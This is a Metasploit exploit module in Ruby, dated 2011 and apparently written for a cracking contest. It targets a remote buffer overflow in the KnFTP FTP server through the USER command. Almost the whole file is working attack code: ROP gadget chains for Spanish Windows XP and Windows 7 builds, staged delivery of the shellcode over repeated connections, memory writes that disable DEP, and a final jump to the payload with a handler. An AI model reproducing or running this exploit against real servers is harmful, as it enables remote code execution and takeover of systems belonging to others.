KnFTP 1.0 Buffer Overflow Exploit - DEP Bypass

#module for metasploit framework, for more information
#see the Description.
#Copyright (C) October 04th 2011
#Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program.  If not, see <http://www.gnu.org/licenses/>.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities',
   'Description'    => %q{
    This module exploits a vulnerability in the KnFTP
    application. The same by-pass DEP with AlwaysOn.
    
    Built for the 10th contest of [C]racks[L]atino[S].
   },
   'Author'         => [ 'pasta' ],
   'License'        => GPL_LICENSE,
   'Version'        => '$Revision: 0 $',
   'References'     =>
    [
     [ 'URL', 'http://www.securityfocus.com/bid/49427'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 0x300,
     'BadChars' => "\x00",
     'DisableNops' =>  'True'
    },
   'Platform'       => [ 'win' ],
   'Targets'        =>
    [
     [
      'Windows XP SP2/SP3 Spanish (NX)',
      {
       'rop_movs' => [
        0x77bf1d16, # POP EAX
        0x41414141, # PADDING
        0x77c07451, # LEA EAX,[EBP-10]
        0x77bf2751, # EBP = ESP+C && JMP EAX <--
        
                    # se ejecuta la carga de EBP
           # y despues carga en EAX el valor
           # EBP-10, esto es x el JMP EAX
           
        0x77bef2c1, # ADD EAX,8
        0x77bef2c1, # ADD EAX,8
        0x77bef2c1, # ADD EAX,8
        0x77bef2c1, # ADD EAX,8
        0x77be95ab, # XCHG EAX,ESI # CMPS <-- ROBA
        0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI
        0x41414141, # JUNK
        0x41414141, # JUNK
        0x77bf22b6  # JMP $
        ],
       
       'rop_popeax_null' => [
        0x77bef519, # POP ECX
        0x41414141, # PADDING
        0x42424242, # JUNK
        0x77bf1d16, # POP EAX
        0x42424242, # JUNK
        0x77c0f284  # LEA EAX,[EAX+ECX*8]
        ],
       
       'rop_popeax' => [
        0x77bf1d16, # POP EAX
        0x41414141, # PADDING
        0x42424242  # JUNK
        ],
        
       'rop_writemem' => [
        0x77bef519, # POP ECX
        0x42424242, # JUNK
        0x77c12f02, # MOV [ECX],EAX
        0x42424242, # JUNK
        0x77bf22b6  # JMP $
        ],
        
       'rop_jmpeax' => [
        0x77be68cd, # JMP EAX
        ],
        
       'rop_changeeip' => [
        0x77bf1d16, # POP EAX
        0x41414141, # PADDING
        0x41414141, # JUNK
        0x77be68cd  # JMP EAX
        ],
        
       'place4payload' => 0x77e1ac81, # .data msvcrt 
       'place4argumen' => 0x77e1ab40, # .data msvcrt
       
       'loop' => 0x77bf22b6, # JMP $
      }
     ],
     
     [
      'Windows 7 Professional SP1 Spanish (NX)',
      {
       'rop_movs' => [
        0x770c181f,
        0x41414141,
        0x77099871,
        0x770abffd,
        0x7709a5c5,
        0x7709a5c5,
        0x7709a5c5,
        0x7709a5c5,
        0x770ce0ab,
        0x770c07d2,
        0x41414141,
        0x41414141,
        0x770aac5b
        ],
       
       'rop_popeax_null' => [
        0x7709a984,
        0x41414141,
        0x42424242,
        0x770c181f,
        0x42424242,
        0x770c040f
        ],
       
       'rop_popeax' => [
        0x770c181f,
        0x41414141,
        0x42424242
        ],
        
       'rop_writemem' => [
        0x7709a984,
        0x42424242,
        0x770a3bdb,
        0x42424242,
        0x770aac5b
        ],
        
       'rop_jmpeax' => [
        0x7709c441,
        ],
        
       'rop_changeeip' => [
        0x770c181f,
        0x41414141,
        0x41414141,
        0x7709c441
        ],
        
       'place4payload' => 0x77136C01,
       'place4argumen' => 0x77136a80,
       
       'loop' => 0x77bf22b6,
      }
     ],
    ],
   'DisclosureDate' => 'Sept 19 2011',
   'DefaultTarget' => 0))
   
   register_options(
    [
     OptInt.new('TIME', [ true, 'Delay between packets. (seconds)', 5 ]),
    ], self.class)
 end

 def exploit
  connect
  print_status("Sending eggs")
  
  address = target['place4payload'] + 0x300
  payload.encoded << 'A'*(16 - payload.encoded.length % 16)
  
  (payload.encoded.length/16).times {|i|
   i += 1
   
   buf  = 'A'*276
   buf << [address - 16 * i].pack('<L')
   buf << 'A'*4
   
   buf << target['rop_movs'].pack('V*') + '1' # <-- byte corrido por CMPS
   
   buf << payload.encoded[payload.encoded.length - 16 * i, 16]
   sleep(datastore['TIME'])
   print "="*i + " "*((payload.encoded.length/16)-i) + "> #{i}/#{payload.encoded.length/16} egg[s]\r"
   send_user(buf)
   disconnect
   
   connect
  }

  memory = target['place4argumen']
  keys = {
   memory+0x04 => target['loop'],
   memory-0x38 => target['place4payload'],
   memory-0x2c => 0x300,
   memory-0x1c => 0x40
  }
  
  print_status("Disabling [D]ata [E]xecution [P]revention")
  
  j = 1
  keys.each {|direction, dword|
   
   buf = 'A'*284
    
   if [dword].pack('<L').index(0.chr)
    ecx = 0x01111111
    eax = 2**32 + dword - ecx*8
    
    target['rop_popeax_null'][2] = ecx
    target['rop_popeax_null'][4] = eax
    buf << target['rop_popeax_null'].pack('V*')
   else
    target['rop_popeax'][2] = dword
    buf << target['rop_popeax'].pack('V*')
   end
   
   target['rop_writemem'][1] = direction
   buf << target['rop_writemem'].pack('V*')
    
   sleep(datastore['TIME'])
   
   print "="*j + " "*(5-j) + "> #{j}/5 egg[s]\r"
   j += 1
   
   send_user(buf)
   disconnect
    
   #connect again
   connect
  }
  
  buf = 'A'*280
  buf << [memory].pack('<L')
  
  load_arguments = 0x00403822
  ecx = 0x01111111
  eax = 2**32 + load_arguments - ecx * 8
  
  target['rop_popeax_null'][2] = ecx
  target['rop_popeax_null'][4] = eax
  
  buf << (target['rop_popeax_null'] + target['rop_jmpeax'] + [0x41414141]).pack('V*')
  
  sleep(datastore['TIME'])
  print "=====> 5/5\r"
  send_user(buf)
  
  print_good("PAYLOAD INJECT SUCCESSFULL")
  disconnect
  
  connect
  
  buf = 'A'*284
  target['rop_changeeip'][2] = target['place4payload'] + 0x300 - payload.encoded.length + 7
  
  buf << target['rop_changeeip'].pack('V*')
  
  print_status("Executing shellcode...")
  send_user(buf)
  sleep(datastore['TIME']*4)
  
  handler
  disconnect
 end

end